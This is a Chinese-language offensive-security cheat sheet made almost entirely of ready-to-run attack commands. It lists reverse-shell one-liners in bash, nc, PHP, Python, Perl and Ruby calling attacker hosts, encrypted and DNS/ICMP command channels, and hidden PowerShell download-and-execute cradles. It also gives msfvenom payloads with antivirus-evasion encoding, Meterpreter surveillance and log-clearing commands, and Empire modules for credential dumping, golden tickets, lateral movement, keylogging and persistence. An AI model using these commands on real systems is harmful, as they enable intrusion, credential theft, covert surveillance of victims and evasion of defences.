Iptables

需开启ip转发功能
>vim /etc/sysctl.conf设置net.ipv4.ip_forward=1

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本地端口22转发到2222上
>iptables -t nat -A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-ports 22
内网98机器3389转到本机110的6789上
>iptables -t nat -A PREROUTING -d 192.168.0.110 -p tcp --dport 6789 -j DNAT --to-destination 192.168.0.98:3389
>iptables -t nat -A POSTROUTING -d 192.168.0.98 -p tcp --dport 3389 -j SNAT --to 192.168.0.110

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查看规则
>iptables -t nat -L
删除规则
>iptables -t nat -D PREROUTING 1
删除全部规则
>iptables -t nat –F

chisel

https://github.com/jpillora/chisel
攻击机执行
>chisel server -p 12138 –reverse

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靶机执行
>chisel client 公网攻击机IP:12138 R:1234:127.0.0.1:3389

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建立成功后,攻击机连接本机1234端口即可访问靶机3389

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命令&控制

Interactive shell

>python -c 'import pty;pty.spawn("/bin/bash")'
>expect -c 'spawn bash;interact'

Script reverse shell

bash

>/bin/bash -i > /dev/tcp/attackerip/4444 0<&1 2>&1

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>bash -i >& /dev/tcp/attackerip/4444 0>&1

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>0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

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>msfvenom -p cmd/unix/reverse_bash LHOST=attackerip LPORT=4444 -o shell.sh

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nc

>nc -e /bin/sh attackerip 4444
>nc -Lp 31337 -vv -e cmd.exe
&
>mknod backpipe p; nc 192.168.0.107 12138 0<backpipe | /bin/bash 1>backpipe
>nc 192.168.0.10 31337

telnet

>mknod backpipe p; telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

php

#php -r '$sock=fsockopen("IP",port);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.107/1234 0>&1'");?>

python

>python -c ' import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]); '
>msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
>import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('IP',端口)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)

perl

>perl -e 'use Socket;$i=" attackerip ";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
>perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
>perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'  #####windows

ruby

>ruby -rsocket -e'f=TCPSocket.open("attackerip ",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
>ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'   #####windows

OpenSSL encrypt shell

生成证书
>openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

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Linux

监听
>openssl s_server -quiet -key key.pem -cert cert.pem -port 1337

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靶机执行
>mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.108:1337 > /tmp/s; rm /tmp/s

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此方式使用TLS1.2 协议对通信进行加密

Windows

攻击机需监听2个端口,一个端口发送命令,一个端口接收回显
发送
>openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
接收
>openssl s_server -quiet -key key.pem -cert cert.pem -port 1338
靶机执行
>openssl s_client -quiet -connect 192.168.0.108:1337|cmd.exe|openssl s_client -quiet -connect 192.168.0.108:1338

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Dnscat2

安装dnscat2
>apt-get -y install ruby-dev git make g++
>gem install bundler
>git clone https://github.com/iagox86/dnscat2.git
>cd dnscat2/server
>bundle install
执行
>ruby dnscat2.rb abc.com -e open --no-cache

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Powercat

靶机执行
>powercat -c 192.168.0.108 -v -dns abc.com -e cmd.exe

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dnscat2执行
>session -i 1进入会话

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Dnscat2 exe

Linux
https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-x86.tar.bz2 https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-x64.tar.bz2
https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip
攻击机执行
>ruby dnscat2.rb --dns "domain=zone.com,host=192.168.0.108" --no-cache
靶机执行
>dnscat2-v0.07-client-win32.exe --dns server=192.168.0.108

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攻击机执行
>session -i [ID]进入会话

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DNS TXT Command

https://github.com/samratashok/nishang/Utility/Out-DnsTxt.ps1
https://github.com/samratashok/nishang/Backdoors/DNS_TXT_Pwnage.ps1
新建一个psh文件,使用out-dnstxt转换,这里的命令是net user

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y0stUSgtTi3i5QIA
添加一条域名txt记录,这里在本地设置,正常是在域名商的网站里配置

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还需创建两个txt记录,分别是指定开始和结束的字符串

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靶机执行
>Import-Module .\DNS_TXT_Pwnage.ps1
>DNS_TXT_Pwnage -startdomain start.zone.com -cmdstring cmd -commanddomain 1.zone.com -psstring start -psdomain zone.com -Subdomains 1 -StopString stop

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Powershell

MSF+Powershell

反弹MSF
靶机
PS >IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.100/powersploit/CodeExecution/Invoke-Shellcode.ps1') 
PS >Invoke-Shellcode -payload windows/meterpreter/reverse_http -lhost 192.168.0.100 -lport 6666 -force
攻击机:
>use exploit/multi/handler
>set payload windows/x64/meterpreter/reverse_ https
>run
或
>msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.100 LPORT=4444 -f powershell -o /var/www/html/ps
>IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.100/powersploit/CodeExecution/Invoke-Shellcode.ps1")
>IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.100/ps")
>Invoke-Shellcode -Shellcode ($buf)
或
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f psh-reflection >/var/www/html/a.ps1
>powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.101/a.ps1')"

Powercat

>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
正向连接
靶机:powercat -l -p 8080 -e cmd.exe –v
攻击机:nc 192.168.0.1 8080 –vv
反向连接:
攻击机:nc –l –p 8080 –vv
靶机:powercat –c 192.168.0.1 –p 8080 –v –e cmd.exe
远程执行
>powershell -nop -w hidden -ep bypass "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.107/ps/powercat/powercat.ps1'); powercat -c 192.168.0.107 -p 12345 -v -e cmd.exe"
正向连接
靶机:powercat -l -p 8080 -e cmd.exe -v
攻击机:nc 192.168.0.1 8080 -vv
反向连接:
攻击机:nc -l -p 8080 -vv
靶机:powercat -c 192.168.0.1 -p 8080 -v -e cmd.exe

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Nishang

Bind shell
靶机:
>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Bind -Port 12138"
攻击机:
>nc 靶机IP 12138
反向shell
攻击机:
>nc -vnlp 9999
靶机:
>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 攻击机IP -port 9999"
UDP反向shell
攻击机:
>nc -lvup 12138
靶机:
>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 攻击机IP -port 12138"
HTTPS
攻击机:
>powershell -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PoshRatHttps.ps1'); Invoke-PoshRatHttps -IPAddress 192.168.0.98 -Port 8080 -SSLPort 443"  IP地址是本机IP

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靶机:
>powershell -w hidden -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.98:8080/connect')

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ICMP
攻击机IP:108
靶机IP:100
https://github.com/inquisb/icmpsh
靶机执行
>powershell -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.108/ps/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp 192.168.0.108

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攻击机执行,开启相应ICMP ECHO请求
>sysctl -w net.ipv4.icmp_echo_ignore_all=1
>./icmpsh_m.py 192.168.0.108 192.168.0.100

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Base64

>Powershell "$string="net user";[convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($string))"

Metasploit

常规使用

#systemctl start postgresql.service 启动数据库服务
#msfdb init 初始化数据库
#msfconsole进入MSF框架
#search  ms17-010 查找攻击模块
#use exploit/windows/smb/ms17_010_eternalblue 使用模块 
#set payload windows/x64/meterpreter/reverse_tcp 设置载荷
#info 查看信息
#show options查看需要设置的参数
#set RHOST 192.168.125.138设置参数
#exploit 执行攻击模块
#back 回退

技巧使用

#handler -H 192.168.0.10 -P 3333 -p windows/x64/meterpreter/reverse_tcp快速监听
#setg 设置全局参数
#set autorunscript migrate –f 自动迁移进程
#set autorunscript migrate -n explorer.exe
#set AutoRunScript post/windows/manage/migrate
#set prependmigrate true 自动注入进程
#set prependmigrateProc svchost.exe
#set exitonsession false获取到session后继续监听,获得多个session
#set stagerverifysslcert false 防止出现ssl错误
#set SessionCommunicationTimeout 0 防止session超时退出
#set SessionExpirationTimeout 0 防止强制关闭session
#exploit -j -z  后台持续监听
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -e x86/shikata_ga_nai -b "x00" -i 5 -a x86 --platform windows PrependMigrate=true PrependMigrateProc=explorer.exe -f exe -o  1.exe 执行后注入到已存在的一个进程
>set EnableStageEncoding true
>set stageencoder x86/fnstenv_mov 编码进行免杀
>set stageencodingfallback false

模块

Auxiliary
#show auxiliary 查看所有模块
Payload
#show payloads 查看所有攻击载荷
Payload是目标被攻击时执行的实际功能代码
生成载荷
#use exploit/multi/script/web_delivery
>set target 2
>msfvenom --list payloads 列出所有payload
>msfvenom --list encoders 列出所有编码器
Windows
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f exe -o /root/1.exe
#msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o 1.exe
#msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f psh-reflection >xxx.ps1
#msfvenom -a x64 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
>msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.0.1 LPORT=11111  -f exe> /root/1.exe  生成NC正向连接
>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f exe> 1.exe 生成NC反向连接
Linux
#msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e -f elf -a x86 --platform linux -o shell
#msfvenom -p cmd/unix/reverse_bash LHOST=192.168.0.1 LPORT=11111 -f raw > shell.sh
MacOS
#msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f macho > shell.macho
Web
#msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw > shell.php
#msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f war > shell.war
#msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f aspx -o payload.aspx
#msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.jsp
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f asp > shell.asp
Android
#msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f apk -o payload.apk
#msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=12138 -f raw > shell.apk
#msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=12138 R > test.apk
shellcode
#msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.1 LPORT=11111 -f c –o /root/1.c
#msfvenom -p cmd/unix/reverse_python LHOST=192.168.0.1 LPORT=11111 -o shell.py
#msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw > shell.py
#msfvenom -p cmd/unix/reverse_perl LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.pl
#msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.rb
#msfvenom -p cmd/unix/reverse_lua LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.lua
msf设置监听
#use exploit/multi/handler
#set payloadwindows/meterpreter/reverse_http 指定相应的payload
#set LHOST 192.168.0.1
#set LPORT 11111
#exploit -j 后台监听
或在exploit模块中直接使用set payload 命令指定payload

Meterpreter

交互
当攻击成功后会返回会话,使用session -l命令列出当前获取到的会话
#session -l
使用
#sessions -i id 来进入一个会话进行交互
#background 将当前会话放置后台
#sessions -x检查心跳
#sessions -u [ID] cmdshell升级meterpreter shell
提权
提权详见提权模块
命令
#shell 进入目标cmdshell
#uictl [enable/disable] [keyboard/mouse/all]  开启或禁止键盘/鼠标
#uictl disable mouse  禁用鼠标
#uictl disable keyboard  禁用键盘
#webcam_list   查看摄像头
#webcam_snap   通过摄像头拍照
#webcam_stream  通过摄像头开启视频
#execute -H -i -f cmd.exe 执行cmd.exe,-H不可见,-i交互 
#execute -H -m -d calc.exe -f wce.exe -a "-o 1.txt" 隐藏执行
#ps查看当前活跃进程
#migrate pid     迁移进程
#kill pid   #杀死进程
文件操作
#pwd 查看当前目录
#ls 列出当前目录文件
#search -f *pass*        搜索文件
#cat c:\\passwd.txt   查看文件内容
#upload /tmp/pwn.txt C:\\1.txt   上传文件
#download c:\\passwd.txt /tmp/  下载文件
#edit c:\\1.txt  编辑或创建文件
#rm C:\\1.txt 删除文件
#mkdir folder  创建文件夹
#rmdir folder  删除文件夹
#lcd /tmp   #攻击者主机 切换目录
#timestomp -v C://2.txt   #查看时间戳
#timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
后渗透&权限维持
路由添加,socks建立,后门建立等查看
查看后门&持久化板块
清理日志
#clearev 

MSF派生Cobalt strike和Empire

派生Empire
Empire创建一个Listener
创建一个stager选择windows/dll
MSF使用
>use post/windows/manage/reflective_dll_inject 
指定session,dll的路径,进程pid
派生Cobalt Strike
cobalt 开启一个监听器windows/beacon_http/reverse_http
msf 
>use exploit/windows/manage/payload_inject
指定IP、端口、payload即可

Empire

安装

#git clone https://github.com/EmpireProject/Empire.git
#cd Empire/setup
#./install.sh

监听

(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners) > info 查看参数信息
(Empire: listeners/http) > set Name y
(Empire: listeners/http) > set Host http://192.168.0.1
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > execute
>back命令返回listeners模块
>list查看已激活的listener
>kill http删除监听

生成

(Empire: listeners) > usestager windows/launcher_vbs (双击tab键查看所有模块)
(Empire: stager/windows/launcher_vbs) > info
必须设置listener的名字,可设置生成位置
(Empire: stager/windows/launcher_vbs) > set Listener y
(Empire: stager/windows/launcher_vbs) > execute
可生成vbs,靶机执行即可上线。
使用launcher命令直接生成powershell或python脚本
>launcher powershell Listener-Name
使用rename对agents更名
>rename 6NMCW4ZB target1
使用main命令放回主菜单
>list stale 列出失去权限的机器
>remove stale 去除失去权限的机器

连接靶机及其他操作

>interact target1 连接
>agent 返回靶机列表
>back 返回上一层
>shell net user 1 1 /add 执行系统目录格式
>mimikazt 加载模块获取密码
>creds 整理获取的密码,creds export /root/1.txt 保存密码,creds hash/plaintext,显示格式
>sc 获取当前桌面截图,文件存储在./Empire/download/agent名字/screenshot
>download c:\pass.txt 下载靶机文件到本机
>upload hacked.txt c:\hacked.txt 上传本机文件到靶机

提权

>agents 列表中Username没有星号则需要提权
>bypassuac listener需指定一个监听器 提权
>usemodule privesc/ms16-032需指定一个监听器 提权
>usemodule privesc/powerup/allchecks执行所有脚本检查漏洞

横向

查询域管登录机器
>usemodule situational_awareness/network/powerview/user_hunter
令牌窃取
>mimikatz
>creds  获取并整理hash及密码
>pth {ID}窃取管理员令牌
>steal_token {PID}
会话注入
>ps 查看进程
>usemodule management/psinject 设置ProcIP和Listener
Hash传递
Invoke-PsExec可能会被查杀
>usemodule situational_awareness/network/powerview/find_localadmin_access 列出可PSexec横向移动的机器
>usemodule lateral_movement/invoke_psexec需设置ComputerName和Listener
或
>usemodule lateral_movement/invoke_wmi需设置ComputerName和Listener,credID
跨域
父域域控:dc.zone.com
子域域控:sub.zone.com
子域计算机:pc.sub.zone.com
子域普通用户:sub\user1
查看信任关系
>usemodule situational_awareness/network/powerview/get_domain_trust
获取父域krbtgt SID,使用management/user_to_sid获取sid
需设置Domain和User=krbtgt
>usemodule credentials/mimikatz/dcsync 设置UserName 子域\krbtgt 获取子域hash
>usemodule credentials/mimikatz/golden_ticket 伪造sid 
需设置User为伪造用户 sids伪造的标识符{krbtgt sid}-519
>usemodule credentials/mimikatz/dcsync 获取父域krbtgt的hash
>usemodule credentials/mimikatz/golden_ticket 使用父域krbtgt进行PTH攻击,指定父域CredID,用户名和域
>shell dir \\dc.zone.com\c$

后门&持久化

映像劫持
>usemodule lateral_movement/invoke_wmi_debugger
设置Listener,ComputerName(大写),TargetBinary(sethc.exe, Utilman.exe, osk.exe, Narrator.exe, Magnify.exe),分别是粘滞键,轻松访问,屏幕键盘,讲述人,放大镜。
注入注册表启动项
>usemodule persistence/elevated/registry*
设置Listener,注册表路径RegPath [HKLM\software\microsoft\windows\currentversion\run]
计划任务
>usemodule persistence/elevated/schtasks*
设置Listener和DailyTime
WMI
>usemodule persistence/elevated/wmi
设置Listener
注入SSP
查看SSP章节

Collection(信息采集)

Collection(信息采集)

模块名 功能
collection/ChromeDump 收集chrome浏览器保存的密码和浏览历史记录
collection/FoxDump 收集Firefox浏览器保存的密码和浏览历史记录
collection/USBKeylogger* 利用ETW作为键盘记录
collection/WebcamRecorder 从摄像头捕获视频
collection/browser_data 搜索浏览器历史记录或书签
collection/clipboard_monitor 按指定的时间间隔监视剪贴板
collection/file_finder 查找域中的敏感文件
collection/find_interesting_file 查找域中的敏感文件
collection/get_indexed_item 获取Windows desktop search索引文件
collection/get_sql_column_sample_data 从目标SQL Server返回列信息。
collection/get_sql_query 在目标SQL服务器上执行查询
collection/inveigh Windows PowerShell LLMNR/mDNS/NBNS中间人工具
collection/keylogger 键盘记录到keystrokes.txt文件中,文件位置/downloads/agentname/keystrokes.txt/agentname
collection/minidump 进程的全内存转储,PowerSploit的Out-Minidump.ps1
collection/netripper 将NetRipper注入目标进程,该进程使用API挂钩以拦截来自低特权用户的网络流量和与加密相关的功能,从而能够在加密之前/解密之后捕获纯文本流量和加密流量。
collection/ninjacopy* 通过读取原始卷并解析NTFS结构,从NTFS分区卷中复制文件。
collection/packet_capture* 使用netsh在主机上启动数据包捕获。
collection/prompt 提示当前用户在表单框中输入其凭据,然后返回结果。
collection/screenshot 屏幕截图
collection/vaults/add_keepass_config_trigger 寻找KeePass配置
collection/vaults/find_keepass_config 此模块查找并解析KeePass.config.xml (2.X)和KeePass.config.xml (1.X)文件。
collection/vaults/get_keepass_config_trigger 该模块从KeePass 2.X配置XML文件中提取触发器说明
collection/vaults/keethief 此模块检索未锁定的KeePass数据库的database mastey key信息
collection/vaults/remove_keepass_config_trigger 该模块从Find-KeePassConfig找到的所有KeePass配置中删除所有触发器
>usemodule collection/ tab补齐查看模块
>usemodule collection/screenshot 获取当前桌面截图,文件存储在./Empire/download/agent名字/screenshot
>usemodule collection/keylogger 键盘记录,文件存储在./Empire/download/agent名字/agent.log
>usemodule situational_awareness/host/winenum 查看当前用户、AD组、剪切板内容、系统版本、共享、网络信息、防火墙规则
>usemodule situational_awareness/network/powerview/share_finder 列出域内所有共享
>usemodule situational_awareness/network/arpscan 
>set Range 192.168.0.1-192.168.0.100 ARP扫描,需设置扫描网段区间
>usemodule situational_awareness/network/portscan 
>set Hosts 192.168.0.1-192.168.0.100 端口扫描,需设置IP或IP段
>usemodule situational_awareness/network/reverse_dns DNS信息,需设置IP
>set Range 192.168.0.1-192.168.0.100
>usemodule situational_awareness/network/powerview/get_domain_controller 查找域控

Code_execution(代码执行)

模块名 功能
code_execution/invoke_dllinjection 使用PowerSploit的Invoke-DLLInjection将Dll注入您选择的进程ID。
code_execution/invoke_metasploitpayload 生成一个新的隐藏PowerShell窗口,该窗口下载并执行Metasploit Payload。这与Metasploit模块theexploit/multi/scripts/web_delivery互动
code_execution/invoke_ntsd 使用NT Symbolic Debugger执行Empire launcher代码
code_execution/invoke_reflectivepeinjection 使用PowerSploit的Invoke-ReflectivePEInjection进行反射PE注入,将DLL/EXE加载进PowerShell进程中,或者将DLL加载进远程进程中
code_execution/invoke_shellcode 使用PowerSploit的Invoke–Shellcode注入Shellcode
code_execution/invoke_shellcodemsil 执行shellcode

Credentials(身份凭证)

模块名 功能
credentials/credential_injection* 运行PowerSploit的Invoke-CredentialInjection创建具有明文凭证的登录,而不会触发事件ID 4648使用显式凭据尝试登录
credentials/enum_cred_store 从Windows凭据管理器中转储当前交互用户的纯文本凭据
credentials/invoke_kerberoast 为具有非空服务主体名称(SPN)的所有用户请求kerberos票据,并将其提取为John或Hashcat可用格式
credentials/powerdump* 使用Posh-SecMod的Invoke-PowerDump从本地系统中转储哈希
credentials/sessiongopher 提取WinSCP已保存的会话和密码
credentials/tokens 运行PowerSploit的Invoke-TokenManipulation枚举可用的登录令牌,并使用它们创建新的进程
credentials/vault_credential* 运行PowerSploit的Get-VaultCredential以显示Windows Vault凭证对象,包括明文Web凭证
credentials/mimikatz/cache* 运行PowerSploit的Invoke-Mimikatz函数以提取MSCache(v2) hashes
credentials/mimikatz/certs* 运行PowerSploit的Invoke-Mimikatz函数将所有证书提取到本地目录
credentials/mimikatz/command* 使用自定义命令运行PowerSploit的Invoke-Mimikatz函数
credentials/mimikatz/dcsync 运行PowerSploit的Invoke-Mimikatz函数,以通过Mimikatz的lsadump::dcsync模块提取给定的帐户密码
credentials/mimikatz/dcsync_hashdump 运行PowerSploit的Invoke-Mimikatz函数,以使用Mimikatz的lsadump::dcsync模块收集所有域哈希
credentials/mimikatz/extract_tickets 运行PowerSploit的Invoke-Mimikatz函数,以base64编码形式从内存中提取kerberos票据
credentials/mimikatz/golden_ticket 运行PowerSploit的Invoke-Mimikatz函数以生成黄金票据并将其注入内存
credentials/mimikatz/keys* 运行PowerSploit的Invoke-Mimikatz函数以将所有密钥提取到本地目录
credentials/mimikatz/logonpasswords* 运行PowerSploit的Invoke-Mimikatz函数以从内存中提取纯文本凭据。
credentials/mimikatz/lsadump* 运行PowerSploit的Invoke-Mimikatz函数以从内存中提取特定的用户哈希。 在域控制器上很有用。
credentials/mimikatz/mimitokens* 运行PowerSploit的Invoke-Mimikatz函数以列出或枚举令牌。
credentials/mimikatz/pth* 运行PowerSploit的Invoke-Mimikatz函数以执行sekurlsa::pth来创建一个新进程。
credentials/mimikatz/purge 运行PowerSploit的Invoke-Mimikatz函数从内存中清除所有当前的kerberos票据
credentials/mimikatz/sam* 运行PowerSploit的Invoke-Mimikatz函数从安全帐户管理器(SAM)数据库中提取哈希
credentials/mimikatz/silver_ticket 运行PowerSploit的Invoke-Mimikatz函数,以生成服务器/服务的白银票据并将其注入内存。
credentials/mimikatz/trust_keys* 运行PowerSploit的Invoke-Mimikatz函数,从域控制器中提取域信任密钥。

Exfiltration(数据窃取)

模块名 功能
exfiltration/egresscheck 可用于帮助检查主机与客户端系统之间的出口,详细信息:https://github.com/stufus/egresscheck-framework
exfiltration/exfil_dropbox 下载文件到dropbox

Exploitation(漏洞利用EXP)

模块名 功能
exploitation/exploit_eternalblue MS17_010永恒之蓝漏洞利用
exploitation/exploit_jboss Jboss漏洞利用
exploitation/exploit_jenkins 在未授权访问的Jenkins脚本控制台上运行命令

Lateral_movement(横向移动)

模块名 功能
lateral_movement/inveigh_relay smb中继攻击
lateral_movement/invoke_dcom 使用DCOM在远程主机上执行stager
lateral_movement/invoke_executemsbuild 该模块利用WMI和MSBuild编译并执行一个包含Empire launcher的xml文件。
lateral_movement/invoke_psexec PsExec横向移动
lateral_movement/invoke_psremoting 远程PowerShell横向移动
lateral_movement/invoke_smbexec SMBExec横向移动
lateral_movement/invoke_sqloscmd 利用xp_cmdshell横向移动
lateral_movement/invoke_sshcommand 利用SSH横向移动
lateral_movement/invoke_wmi 利用WMI横向移动
lateral_movement/invoke_wmi_debugger 使用WMI将远程机器上的二进制文件的调试器设置为cmd.exe或stager
lateral_movement/jenkins_script_console 利用未授权访问的Jenkins脚本控制台横向移动
lateral_movement/new_gpo_immediate_task 利用GPO中的计划任务横向移动

Management(管理)

模块名 功能
management/enable_rdp* 在远程计算机上启用RDP并添加防火墙例外。
management/disable_rdp* 在远程计算机上禁用RDP
management/downgrade_account 在给定的域帐户上设置可逆加密,然后强制下次用户登录时设置密码。
management/enable_multi_rdp* 允许多个用户建立同时的RDP连接。
management/get_domain_sid 返回当前指定域的SID
management/honeyhash* 将人工凭证注入到LSASS
management/invoke_script 运行自定义脚本
management/lock 锁定工作站的显示
management/logoff 从计算机上注销当前用户(或所有用户)
management/psinject 利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码
management/reflective_inject 利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码
management/restart 重新启动指定的机器
management/runas 绕过GPO路径限制
management/shinject 将PIC Shellcode Payload注入目标进程
management/sid_to_user 将指定的域sid转换为用户
management/spawn 在新的powershell.exe进程中生成新agent
management/spawnas 使用指定的登录凭据生成agent
management/switch_listener 切换listener
management/timestomp 通过’调用Set-MacAttribute执行类似耗时的功能
management/user_to_sid 将指定的domain\user转换为domain sid
management/vnc Invoke-Vnc在内存中执行VNC代理并启动反向连接
management/wdigest_downgrade* 将计算机上的wdigest设置为使用显式凭据
management/zipfolder 压缩目标文件夹以供以后渗透
management/mailraider/disable_security 此函数检查ObjectModelGuard
management/mailraider/get_emailitems 返回指定文件夹的所有项目
management/mailraider/get_subfolders 返回指定顶级文件夹中所有文件夹的列表
management/mailraider/mail_search 在给定的Outlook文件夹中搜索项目
management/mailraider/search_gal 返回与指定搜索条件匹配的所有exchange users
management/mailraider/send_mail 使用自定义或默认模板将电子邮件发送到指定地址。
management/mailraider/view_email 选择指定的文件夹,然后在指定的索引处输出电子邮件项目

Persistence(持久化)

模块名 功能
persistence/elevated/registry* 计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本
persistence/elevated/schtasks* 计划任务持久化
persistence/elevated/wmi* WMI事件订阅持久化
persistence/elevated/wmi_updater* WMI订阅持久化
persistence/misc/add_netuser 将域用户或本地用户添加到当前(或远程)计算机
persistence/misc/add_sid_history* 运行PowerSploit的Invoke-Mimikatz函数以执行misc::addsid以添加用户的sid历史记录。 仅适用于域控制器
persistence/misc/debugger* 将指定目标二进制文件的调试器设置为cmd.exe
persistence/misc/disable_machine_acct_change* 禁止目标系统的机器帐户自动更改其密码
persistence/misc/get_ssps 枚举所有已加载的安全软件包
persistence/misc/install_ssp* 安装安全支持提供程序dll
persistence/misc/memssp* 运行PowerSploit的Invoke-Mimikatz函数以执行misc::memssp,将所有身份验证事件记录到C:\Windows\System32\mimisla.log
persistence/misc/skeleton_key* 运行PowerSploit的Invoke-Mimikatz函数来执行misc::skeleton,植入密码mimikatz的万能钥匙。 仅适用于域控制器
persistence/powerbreach/deaduser DeadUserBackdoor后门,详细信息:http://www.sixdub.net/?p=535
persistence/powerbreach/eventlog* 启动事件循环后门
persistence/powerbreach/resolver 启动解析器后门
persistence/userland/backdoor_lnk LNK文件后门
persistence/userland/registry 计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本
persistence/userland/schtasks 计划任务持久化

Privesc(权限提升)

模块名 功能
privesc/ask 弹出一个对话框,询问用户是否要以管理员身份运行powershell
privesc/bypassuac UAC bypass
privesc/bypassuac_env UAC bypass
privesc/bypassuac_eventvwr UAC bypass
privesc/bypassuac_fodhelper UAC bypass
privesc/bypassuac_sdctlbypass UAC bypass
privesc/bypassuac_tokenmanipulation UAC bypass
privesc/bypassuac_wscript UAC bypass
privesc/getsystem* 获取system特权
privesc/gpp 利用windows组策略首选项缺陷获取系统帐号
privesc/mcafee_sitelist 寻找McAfee SiteList.xml文件的纯文本密码
privesc/ms16-032 MS16-032本地提权
privesc/ms16-135 MS16-135本地提权
privesc/tater 利用PowerShell实现的Hot Potato提权
privesc/powerup/allchecks 检查目标主机的攻击向量以进行权限提升
privesc/powerup/find_dllhijack 查找通用的.DLL劫持
privesc/powerup/service_exe_restore 还原备份的服务二进制文件
